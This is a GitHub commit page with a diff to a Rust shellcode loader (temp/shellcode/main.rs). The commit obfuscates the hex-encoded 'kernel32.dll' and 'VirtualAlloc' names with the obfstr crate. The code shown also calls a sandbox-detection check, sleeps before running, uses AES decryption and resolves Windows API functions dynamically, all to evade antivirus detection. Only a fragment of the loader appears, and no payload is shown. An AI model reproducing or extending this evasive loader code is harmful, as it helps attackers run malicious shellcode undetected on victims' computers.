Skip to content

Commit 67d01d1

Browse files
committed
更新: 混淆特殊关键字
1 parent 7027823 commit 67d01d1

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

temp/shellcode/main.rs

+5-5
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
#![windows_subsystem = "windows"]
1+
// #![windows_subsystem = "windows"]
22
extern crate alloc;
33

44
use alloc::ffi::CString;
@@ -7,9 +7,10 @@ use std::arch::asm;
77
use std::mem::transmute;
88
use std::ptr::{null, null_mut};
99
use std::time::Duration;
10-
use obfstr::obfstr as s;
10+
1111
use hex;
1212
use libaes::Cipher;
13+
use obfstr::obfstr as s;
1314
use rand::Rng;
1415
use winapi::um::libloaderapi::{GetModuleHandleA, GetProcAddress};
1516
use winapi::um::sysinfoapi::GetTickCount;
@@ -24,7 +25,6 @@ type CustomVirtualAlloc = unsafe extern "system" fn(
2425
) -> *mut winapi::ctypes::c_void;
2526

2627

27-
2828
fn main() {
2929
unsafe {
3030
if !analy_environment() {
@@ -46,8 +46,8 @@ fn main() {
4646
thread::sleep(Duration::from_secs(2));
4747

4848

49-
let Kname = hex::decode("6b65726e656c33322e646c6c").expect("hex decode err");
50-
let Vname = hex::decode("5669727475616c416c6c6f63").expect("hex decode err");
49+
let Kname = hex::decode(s!("6b65726e656c33322e646c6c")).expect("hex decode err");
50+
let Vname = hex::decode(s!("5669727475616c416c6c6f63")).expect("hex decode err");
5151
let kernel32 = CString::new(Kname).expect("CString::new failed");
5252
let virtual_alloc = CString::new(Vname).expect("CString::new failed");
5353

0 commit comments

Comments
 (0)